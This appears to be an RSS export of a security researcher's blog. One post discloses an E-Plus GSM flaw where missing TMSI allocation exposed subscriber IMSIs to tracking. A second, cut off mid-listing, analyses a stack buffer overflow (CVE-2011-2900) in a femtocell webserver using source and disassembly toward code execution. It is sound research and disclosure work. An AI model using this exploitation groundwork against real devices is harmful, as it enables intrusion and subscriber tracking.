nion's blog
http://nion.modprobe.de/blog/
Imagine a cool title here
en
http://nion.modprobe.de/blog/templates/default/img/s9y_banner_small.png
RSS: nion's blog - Imagine a cool title here
http://nion.modprobe.de/blog/
100
21
-
E-Plus GSM privacy/TMSI allocation leak
http://nion.modprobe.de/blog/archives/705-E-Plus-GSM-privacyTMSI-allocation-leak.html
I recently noticed a problem in E-Plus' (one of the four major German mobile operators) <a href="http://en.wikipedia.org/wiki/GSM">GSM</a> network involving their TMSI allocation procedure.<br />
Other providers such as Simyo, BASE, Ay Yildiz, Aldi talk and MTV Mobile are also using the E-Plus network (those are actually either <a href="http://en.wikipedia.org/wiki/Mobile_virtual_network_operator">MVNOs</a> or real subsidiaries).<br />
<div class="serendipity_imageComment_left"><div class="serendipity_imageComment_img"><a href="http://nion.modprobe.de/bimg/659531264.jpg"><img src="http://nion.modprobe.de/bimg/659531264_small.jpg" /></a></div></div><br /><br />
This began when I bought a blau.de <a href="http://en.wikipedia.org/wiki/Subscriber_Identity_Module">SIM</a> card for some research and noticed that I did not get any TMSI assigned.<br />
blau.de is part of the E-Plus group which a brand of KPN.<br />
As you can see in this picture, the Blackberry engineering screen displays a TMSI of 0xFFFFFFFF which by the GSM specifications is an invalid TMSI and equals to not having a TMSI at all.<br />
<br />
Before I explain what a TMSI is, I have to explain what an IMSI is.<br />
<strong>International Mobile Subscriber Identity</strong><br />
In a mobile network, your mobile phone is usually identified by the so-called <a href="http://en.wikipedia.org/wiki/IMSI">IMSI</a> which is a unique identification number associated with your SIM card (also for 3G and 4G).<br />
This identification number can be used by the network to address services to a subscriber, most importantly during the <a href="http://gsmfordummies.com/gsmevents/mobile_terminated.shtml">paging procedure</a> (see <a href="http://www.3gpp.org/ftp/Specs/html-info/0408.htm">3GGP TS 04.08</a> for more details). So in the network, the subscriber is not identified using his phone number.<br />
Whenever the network wants to deliver for example a phone call or an SMS message to your phone, it has to notify your phone that there is an incoming service.<br />
And this is done using a mobile identity such as the IMSI.<br />
<br />
<strong>What's the problem with IMSIs? Why should I care?</strong><br />
The problem with IMSIs is that the mobile identity is sent over-the-air in several protocol messages that can be observed by anyone in clear-text, e.g., as part of a paging request.<br />
Since it is possible to map a mobile phone number to the IMSI (by using <a href="http://en.wikipedia.org/wiki/Home_Location_Register">HLR</a> lookup services), being able to observe those IMSIs on the air interface implies that you can tell whether a person is present in a specific area or not if you call the person, if you send an SMS message or even by sending a <a href="http://en.wikipedia.org/wiki/Short_Message_Service#Silent_SMS">silent SMS</a>.<br />
So in practice, this is a privacy problem which allows for easy tracking by just observing protocol messages on the air interface.<br />
Another good reason to not reveal IMSIs is because it can be used as a shared secret key in <a href="http://en.wikipedia.org/wiki/OMA_Device_Management">OMA DM</a> provisioning SMS.<br />
These SMS are used by operators to configure for example APN settings of your mobile device. So if you know the IMSI, your phone supports OMA DM and no other mitigation is in place, knowing the IMSI of a victim could also allow you to hijack mobile data connections. If you are more interested in this topic, I can highly recommend the great <a href="http://www.blackhat.com/presentations/bh-europe-09/Gassira_Piccirillo/BlackHat-Europe-2009-Gassira-Piccirillo-Hijacking-Mobile-Data-Connections-slides.pdf">talk</a> by Cristofaro Mune, Roberto Gassira', and Roberto Piccirillo.<br />
<br />
<strong>Now what is a TMSI?</strong><br />
To solve this problem, the GSM specs advise to use the so-called <a href="http://en.wikipedia.org/wiki/Temporary_Mobile_Subscriber_Identity">TMSI</a> (Temporary Mobile Subscriber Identity) instead.<br />
This is a 4 byte identifier which is used by the network to map to the IMSI/subscriber and which (hopefully) frequently changes and is not pre-computable by an adversary.<br />
So while it is still possible to see these mobile identites on the air interface, you are not able to map this to a specific phone number anymore.<br />
Actually this is not entirely true, there are also methods to determine the TMSI of a victim, but it significantly raises the amount of work an interested party would need to put into tracking a victim.<br />
In this particular case though, E-Plus was not assigning TMSIs to subscriber anymore and therefore made it extremely easy to track people by using their IMSIs.<br />
While there is no legal constraint that forces operators to use TMSIs, this is considered good practice nowadays for privacy reasons.<br />
The more often these TMSIs are reallocated, the more difficult is it to track subscribers unless you can precompute the next TMSI.<br />
<br />
<strong>How can this happen?</strong><br />
I don't know what exactly caused the problem in the E-Plus network so I can only guess what the problem is.<br />
In a mobile network, the entity that is responsible for assigning TMSIs is the VLR (Visitor Location Register). Usually each of these handles a specific geographic area and there is usually more than one in a network.<br />
For example from what I know there is one specifically responsible to handle Berlin.<br />
Sometimes it happens that the VLR TMSI pool overflows so that the network starts using IMSIs.<br />
I don't know the technical background on why this happens. I would expect that this is a database problem that can be handled technically <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
I suspect that in this particular case, after such an overflow the E-Plus VLR in Berlin (where I noticed this), for an unknown reason stopped assigning new TMSIs.<br />
This also means that subscribers who already had a TMSI at that time, will keep it and not get a new one.<br />
<br />
Together with my colleague Kevin Redon, we started analysing the paging requests that we can observe on the air interface to see how this may change over time.<br />
Referring to Karsten Nohl of the <a href="http://www.gsmmap.org">gsmmap</a> project, <strong>98% of all E-Plus transactions were using TMSIs</strong> before this event occurred.<br />
What we monitored in the last days is that the TMSIs in mobile identities contained in paging requests of E-Plus <strong>only account for 63.9%</strong>.<br />
While this is still a seemingly high number, keep in mind that subscribers with a valid TMSI didn't get new ones on reallocations.<br />
<br />
<strong>How can you test this yourself?</strong><br />
A complete explanation would be out of scope of this post.<br />
However, the Free Software <a href="http://en.wikipedia.org/wiki/Baseband">baseband</a> implementation <a href="http://bb.osmocom.org/trac/">Osmocom-BB</a> allows you to play with GSM networks.<br />
You can find information on how to use this software exactly on their website.<br />
So by just having an E-Plus SIM and using their layer1 firmware in combination with the layer23 application running on your computer, you can connect to the E-Plus network and display your subscriber information on the vty interface (show subscriber).<br />
If it doesn't show you the TMSI or it's 0xffffffff after registering successfully with the network, you will know that no TMSI was assigned to you.<br />
Alternatively, Blackberry devices contain a great engineering menu (which you see in the above picture) which can be <a href="http://www.unlockberry.co.uk/server.php?action=bbeng">enabled with a special code</a>.<br />
Also if you are lucky, you can find some of the old Nokia 3310 devices and the like on ebay for which you can enable the fieldtest mode (netmon).<br />
<br />
By now E-Plus has been working on the problem for roughly two weeks and I was told it is fixed for now.<br />
This seems true, I do get TMSIs assigned.<br />
However when looking at the amount of IMSIs and TMSIs contained in paging requests, it seems that it takes quite some time until this is resolved throughout the network.<br />
So it will probably take a couple of days, if not weeks until we hopefully observe patterns that reflect the 98% as measure by gsmmap.<br />
<br />
<strong> Visualising TMSI/IMSI usage</strong><br />
The best way to visualize the usage of TMSIs and IMSIs is to plot the amount and type of mobile identities contained in paging requests.<br />
For this we logged paging observerd on the air interface on multiple locations over time. Here is an example that shows you how this changed over time:<br />
<img src="http://nion.modprobe.de/bimg/tmsi_over_time.png" /><br />
As you can see there is a high peak of IMSI paging at yesterday around 00:00, paging almost 20000 subscribers. We also observed similiar scenarios in other location areas.<br />
We suspect that this is the point in time when they fixed this issue by restarting equipment.<br />
Specifically the VLR serving the area in which we were taking measurements.<br />
We don't have a definitive reason for this peak, but a plausible explanation could be that they paged each IMSI in the area (so-called Location Area) we were logging in to assign new TMSIs after restarting equipment.<br />
But again, we don't know the reason. It's obvious though that some changes were made in the network at that time.<br />
As you can also see the number of IMSI paging is getting lower, while the TMSI paging is getting higher, indicating that this problem is improving currently.<br />
<br />
Thanks to Karsten, Luca, Kevin, Tobias and others for verifying this problem at several locations with several SIM cards!<br />
I would also like to point out that the security contact with the E-Plus team has been great.<br />
After miserable experiences with operators in the past, this has been a good one to me.<br />
nion's blog
blog@ngolde.de (Nico Golde)
gsm,
2012-10-11T11:10:56Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=705
0
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=705
gsm
mobile
osmocombb
privacy
security
-
Exploiting the Ubiquisys/SFR femtocell webserver (wsal/shttpd/mongoose/yassl embedded webserver)
http://nion.modprobe.de/blog/archives/704-Exploiting-the-UbiquisysSFR-femtocell-webserver-wsalshttpdmongooseyassl-embedded-webserver.html
As a part of our <a href="https://www.blackhat.com/html/bh-us-11/bh-us-11-briefings.html#Borgaonkar">research</a> on the SFR femtocell I had the pleasure to look for a vulnerability<br />
that might assist us in compromising remote devices.<br />
One of the obvious software targets of the box has been the webserver (wsal) that is used to serve some web pages used for configuring the device.<br />
As all other services on the box, it runs with root privileges. The device itself runs a Linux 2.6.18-ubi-sys-V2.0.17 on an ARM926EJ (ARMv5).<br />
<br />
<strong>The bug (CVE-2011-2900):</strong><br />
I started reversing the binary when at some point Kevin pointed out a string in the binary that hinted towards the Open Source project<br />
<a href="http://sourceforge.net/projects/shttpd/">shttpd</a> (which has been relabeled in <a href="http://code.google.com/p/mongoose/">mongoose</a> at some point and that is also the basis for the <a href="http://www.yassl.com/yaSSL/Products-yassl-embedded-web-server.html">yassl embedded webserver</a>.<br />
So this made things a lot easier. As the web service is fairly powerful (including CGI, SSI support) I first looked for non-software related bugs.<br />
From shttpd.c/defs.h:<br />
<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">struct</span> vec <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #993333;">const</span> <span style="color: #993333;">char</span>      <span style="color: #339933;">*</span>ptr<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #993333;">int</span>             len<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">}</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"> </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">const</span> <span style="color: #993333;">struct</span> vec known_http_methods<span style="color: #009900;">[</span><span style="color: #009900;">]</span> <span style="color: #339933;">=</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #009900;">{</span><span style="color: #ff0000;">"GET"</span><span style="color: #339933;">,</span>     <span style="color: #0000dd;">3</span><span style="color: #009900;">}</span><span style="color: #339933;">,</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #009900;">{</span><span style="color: #ff0000;">"POST"</span><span style="color: #339933;">,</span>    <span style="color: #0000dd;">4</span><span style="color: #009900;">}</span><span style="color: #339933;">,</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #009900;">{</span><span style="color: #ff0000;">"PUT"</span><span style="color: #339933;">,</span>     <span style="color: #0000dd;">3</span><span style="color: #009900;">}</span><span style="color: #339933;">,</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #009900;">{</span><span style="color: #ff0000;">"DELETE"</span><span style="color: #339933;">,</span>  <span style="color: #0000dd;">6</span><span style="color: #009900;">}</span><span style="color: #339933;">,</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #009900;">{</span><span style="color: #ff0000;">"HEAD"</span><span style="color: #339933;">,</span>    <span style="color: #0000dd;">4</span><span style="color: #009900;">}</span><span style="color: #339933;">,</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">    <span style="color: #009900;">{</span><span style="color: #000000; font-weight: bold;">NULL</span><span style="color: #339933;">,</span>      <span style="color: #0000dd;">0</span><span style="color: #009900;">}</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">}</span><span style="color: #339933;">;</span></div></li></ol></div><br />
Hmm, that's already more methods than expected. So it made sense to look at those methods.<br />
<br />
As the webserver can execute CGI I assumed PUT might be interesting in order to push stuff onto the device and execute it.<br />
However, it turned out that the web directory is mounted read-only (and the code gracefully handles path traversal attempts).<br />
DELETE died for the same reason and it seemed unlikely that this would result in code execution anyway.<br />
Back to software vulnerabilities and the PUT functionality.<br />
<br />
Let's have a look at the function handling PUT requests (io_dir.c/put_dir()):<br />
<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">int</span> put_dir<span style="color: #009900;">(</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>path<span style="color: #009900;">)</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #993333;">char</span>            buf<span style="color: #009900;">[</span>FILENAME_MAX<span style="color: #009900;">]</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #993333;">const</span> <span style="color: #993333;">char</span>      <span style="color: #339933;">*</span>s<span style="color: #339933;">,</span> <span style="color: #339933;">*</span>p<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #993333;">struct</span> stat     st<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        size_t          len<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #b1b100;">for</span> <span style="color: #009900;">(</span>s <span style="color: #339933;">=</span> p <span style="color: #339933;">=</span> path <span style="color: #339933;">+</span> <span style="color: #0000dd;">2</span><span style="color: #339933;">;</span> <span style="color: #009900;">(</span>p <span style="color: #339933;">=</span> strchr<span style="color: #009900;">(</span>s<span style="color: #339933;">,</span> <span style="color: #ff0000;">'/'</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span> <span style="color: #339933;">!=</span> <span style="color: #000000; font-weight: bold;">NULL</span><span style="color: #339933;">;</span> s <span style="color: #339933;">=</span> <span style="color: #339933;">++</span>p<span style="color: #009900;">)</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                len <span style="color: #339933;">=</span> p <span style="color: #339933;">-</span> path<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                assert<span style="color: #009900;">(</span>len <span style="color: #339933;"><</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">(</span>buf<span style="color: #009900;">)</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #009900;">(</span><span style="color: #993333;">void</span><span style="color: #009900;">)</span> memcpy<span style="color: #009900;">(</span>buf<span style="color: #339933;">,</span> path<span style="color: #339933;">,</span> len<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                buf<span style="color: #009900;">[</span>len<span style="color: #009900;">]</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">'<span style="color: #000099; font-weight: bold;">\0</span>'</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"> </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>my_stat<span style="color: #009900;">(</span>buf<span style="color: #339933;">,</span> <span style="color: #339933;">&</span>st<span style="color: #009900;">)</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span> <span style="color: #339933;">&&</span> my_mkdir<span style="color: #009900;">(</span>buf<span style="color: #339933;">,</span> <span style="color: #208080;">0755</span><span style="color: #009900;">)</span> <span style="color: #339933;">!=</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                        <span style="color: #b1b100;">return</span> <span style="color: #009900;">(</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"> </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>p<span style="color: #009900;">[</span><span style="color: #0000dd;">1</span><span style="color: #009900;">]</span> <span style="color: #339933;">==</span> <span style="color: #ff0000;">'<span style="color: #000099; font-weight: bold;">\0</span>'</span><span style="color: #009900;">)</span> <span style="color: #b1b100;">return</span> <span style="color: #009900;">(</span><span style="color: #0000dd;">0</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #009900;">}</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #b1b100;">return</span> <span style="color: #009900;">(</span><span style="color: #0000dd;">1</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">}</span></div></li></ol></div><br />
The function is pretty simple. It loops over the URL path and tries to create each directory of the complete path (Similar to mkdir -p).<br />
To do that, the path chunk is copied into the stack buffer <strong>buf</strong> before it is passed to stat and mkdir.<br />
The <strong>len</strong> argument of the memcpy operation is determined by the distance between two consecutive / characters.<br />
Assuming that path can be longer than FILENAME_MAX (+/- a few bytes overhead for the rest of the URL), this is a classical stack-based buffer overflow and<br />
seemed like a nice candidate for code execution.<br />
<br />
In this code snippet the len argument is guarded to not overflow (assert statement). However, assert is only in place if the binary was not compiled with -DNDEBUG, right? <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png" alt=":-D" style="display: inline; vertical-align: bottom;" class="emoticon" /> I haven't seen any calls to assert wrapper function while looking at the disassembly of wsal.<br />
But let's check this...<br />
The following output is generated using the <a href="http://radare.org">radare</a>.<br />
If you're on linux, you need a multi-arch reversing tool chain (with unix philosophy in mind) and you can't or don't want to use IDA, I can highly recommend looking at this tool (even though it's still work-in-progress).<br />
<div class="asm geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x0000b454</span><span style="color: #009900; font-weight: bold;">]</span>> pD <span style="color: #0000ff;">100</span>@sym<span style="color: #339933;">.</span>put_dir</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d898</span>  sym<span style="color: #339933;">.</span>put_dir<span style="color: #339933;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d898</span>    <span style="color: #0000ff;">0</span>    f0412de9         <span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #009900; font-weight: bold;">{</span>r4<span style="color: #339933;">,</span> r5<span style="color: #339933;">,</span> r6<span style="color: #339933;">,</span> r7<span style="color: #339933;">,</span> r8<span style="color: #339933;">,</span> lr<span style="color: #009900; font-weight: bold;">}</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d89c</span>    <span style="color: #0000ff;">0</span>    41dd4de2         <span style="color: #00007f; font-weight: bold;">sub</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> #<span style="color: #0000ff;">4160</span> <span style="color: #666666; font-style: italic;">; 0x1040</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8a0</span>    <span style="color: #0000ff;">0</span>    18d04de2         <span style="color: #00007f; font-weight: bold;">sub</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> #<span style="color: #0000ff;">24</span> <span style="color: #666666; font-style: italic;">; 0x18</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8a4</span>    <span style="color: #0000ff;">0</span>    18708de2         <span style="color: #00007f; font-weight: bold;">add</span> r7<span style="color: #339933;">,</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> #<span style="color: #0000ff;">24</span> <span style="color: #666666; font-style: italic;">; 0x18</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8a8</span>    <span style="color: #0000ff;">0</span>    9c809fe5         ldr r8<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">[</span>pc<span style="color: #339933;">,</span> #<span style="color: #0000ff;">156</span><span style="color: #009900; font-weight: bold;">]</span> <span style="color: #666666; font-style: italic;">; 0x0007d94c; => 0xffffefa8 </span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8ac</span>    <span style="color: #0000ff;">0</span>    0060a0e1         <span style="color: #00007f; font-weight: bold;">mov</span> r6<span style="color: #339933;">,</span> r0</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8b0</span>    <span style="color: #0000ff;">0</span>    <span style="color: #0000ff;">187047e2</span>         <span style="color: #00007f; font-weight: bold;">sub</span> r7<span style="color: #339933;">,</span> r7<span style="color: #339933;">,</span> #<span style="color: #0000ff;">24</span> <span style="color: #666666; font-style: italic;">; 0x18</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8b4</span>    <span style="color: #0000ff;">0</span>    <span style="color: #0000ff;">023080e2</span>         <span style="color: #00007f; font-weight: bold;">add</span> r3<span style="color: #339933;">,</span> r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">2</span> <span style="color: #666666; font-style: italic;">; 0x2</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8b8</span>    <span style="color: #0000ff;">0</span>    2f10a0e3         <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> #<span style="color: #0000ff;">47</span> <span style="color: #666666; font-style: italic;">; 0x2f</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8bc</span>    <span style="color: #0000ff;">0</span>    0300a0e1         <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> r3</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8c0</span>    <span style="color: #0000ff;">0</span>>   fd34feeb         <span style="color: #00007f;">bl</span> imp<span style="color: #339933;">.</span>strchr</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">         <span style="color: #666666; font-style: italic;">; imp.strchr() [1]</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8c4</span>    <span style="color: #0000ff;">0</span>    <span style="color: #0000ff;">005050e2</span>         subs r5<span style="color: #339933;">,</span> r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; 0x0</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8c8</span>    <span style="color: #0000ff;">0</span>    <span style="color: #0000ff;">054066e0</span>         rsb r4<span style="color: #339933;">,</span> r6<span style="color: #339933;">,</span> r5</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8cc</span>    <span style="color: #0000ff;">0</span>    0610a0e1         <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> r6</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8d0</span>    <span style="color: #0000ff;">0</span>    0420a0e1         <span style="color: #00007f; font-weight: bold;">mov</span> r2<span style="color: #339933;">,</span> r4</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8d4</span>    <span style="color: #0000ff;">0</span>    0d00a0e1         <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #00007f;">sp</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8d8</span>    <span style="color: #0000ff;">0</span>    1400000a         beq <span style="color: #0000ff;">0x0007d930</span> <span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">2</span><span style="color: #009900; font-weight: bold;">]</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d8dc</span>    <span style="color: #0000ff;">0</span>>   3e35feeb         <span style="color: #00007f;">bl</span> imp<span style="color: #339933;">.</span>memcpy</div></li></ol></div><br />
As we can see, we see nothing. In particular, no comparison and no call to __assert_fail.<br />
So we're lucky, looks like we found our candidate for code execution. A pretty simple standard buffer overflow.<br />
Interestingly, the shttpd Makefile even mentions -NDEBUG in order to save ~5kB binary size (remember, this is an embedded device).<br />
<br />
Let's look at how put_dir returns so we can get control over the program flow.<br />
At the function entry registers r4-r7 and the link-register are pushed onto the stack.<br />
Leaving looks similar with the difference that the link-register isn't used, but the return value is directly popped into pc.<br />
<div class="asm geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x0000b454</span><span style="color: #009900; font-weight: bold;">]</span>> pD <span style="color: #0000ff;">12</span>@sym<span style="color: #339933;">.</span>put_dir<span style="color: #339933;">+</span><span style="color: #0000ff;">140</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x0007d924</span>    <span style="color: #0000ff;">0</span>    58d08de2         <span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> #<span style="color: #0000ff;">88</span> <span style="color: #666666; font-style: italic;">; 0x58</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; 